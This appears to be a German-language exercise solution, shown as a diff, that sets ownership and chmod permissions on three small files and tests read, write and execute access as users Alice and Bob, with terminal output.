+g) Wir haben bereits die Dateien erstellt und nun müssen wir die entsprechenden Berechtigungen setzen. Da wir die Benutzer und die Gruppe erstellt haben, müssen wir auch die Eigentümerschaft der Dateien auf Alice setzen und die Gruppe der Dateien auf `shared` setzen:
+
+```bash
+sudo chown alice:shared hello_world.txt
+sudo chown alice:shared check_world.sh
+sudo chown alice:shared print_hello_world.sh
+```
+
+Jetzt setzen wir die Berechtigungen entsprechend der Anforderungen.
+
+```bash
+sudo chmod 640 hello_world.txt       # Alice (Eigentümer) kann lesen und schreiben, Gruppe (shared) kann nur lesen
+sudo chmod 560 check_world.sh        # Alice kann lesen und ausführen, Gruppe (shared) kann lesen und schreiben
+sudo chmod 100 print_hello_world.sh  # Alice kann nur ausführen, Gruppe (shared) und andere haben keinen Zugriff
+```
+
+h) Testen Sie die von Ihnen erstellten Dateisystemberechtigungen.
+
+`su <username>`
+
+Als Alice: 
+
+Read:
+```bash
+alice@LAPTOP-UVV3KEQR:~$ cat hello_world.txt
+Hello, world!
+alice@LAPTOP-UVV3KEQR:~$ cat check_world.sh
+cat hello_world.txt | grep -q 'world' && echo world found
+alice@LAPTOP-UVV3KEQR:~$ cat print_hello_world.sh
+cat: print_hello_world.sh: Permission denied
+```
+
+Write:
+```bash
+alice@LAPTOP-UVV3KEQR:~$ echo "Hello, world!" > hello_world.txt
+alice@LAPTOP-UVV3KEQR:~$ echo "text" > check_world.sh
+bash: check_world.sh: Permission denied
+alice@LAPTOP-UVV3KEQR:~$ echo "text" > print_hello_world.sh
+bash: print_hello_world.sh: Permission denied
+```
+
+Execute:
+```bash
+alice@LAPTOP-UVV3KEQR:~$ ./hello_world.txt
+bash: ./hello_world.txt: Permission denied
+alice@LAPTOP-UVV3KEQR:~$ ./check_world.sh
+world found
+alice@LAPTOP-UVV3KEQR:~$ ./print_hello_world.sh
+bash: ./print_hello_world.sh: Permission denied
+```
+---
+
+Bob:
+Read:
+```bash
+bob@LAPTOP-UVV3KEQR:/home/alice$ cat hello_world.txt
+Hello, world!
+bob@LAPTOP-UVV3KEQR:/home/alice$ cat check_world.sh
+cat hello_world.txt | grep -q 'world' && echo world found
+bob@LAPTOP-UVV3KEQR:/home/alice$ cat print_hello_world.sh
+cat: print_hello_world.sh: Permission denied
+```
+
+Write:
+```
+bob@LAPTOP-UVV3KEQR:/home/alice$ echo "Hello, world!" > hello_world.txt
+bash: hello_world.txt: Permission denied
+bob@LAPTOP-UVV3KEQR:/home/alice$ echo "cat hello_world.txt | grep -q 'world' && echo world found" > check_world.sh
+bob@LAPTOP-UVV3KEQR:/home/alice$ echo "test" > print_hello_world.sh
+bash: print_hello_world.sh: Permission denied
+bob@LAPTOP-UVV3KEQR:/home/alice$
+```
+
+Execute:
+```bash
+bob@LAPTOP-UVV3KEQR:/home/alice$ ./hello_world.txt
+bash: ./hello_world.txt: Permission denied
+bob@LAPTOP-UVV3KEQR:/home/alice$ ./check_world.sh
+bash: ./check_world.sh: Permission denied
+bob@LAPTOP-UVV3KEQR:/home/alice$ ./print_hello_world.sh
+bash: ./print_hello_world.sh: Permission denied
+```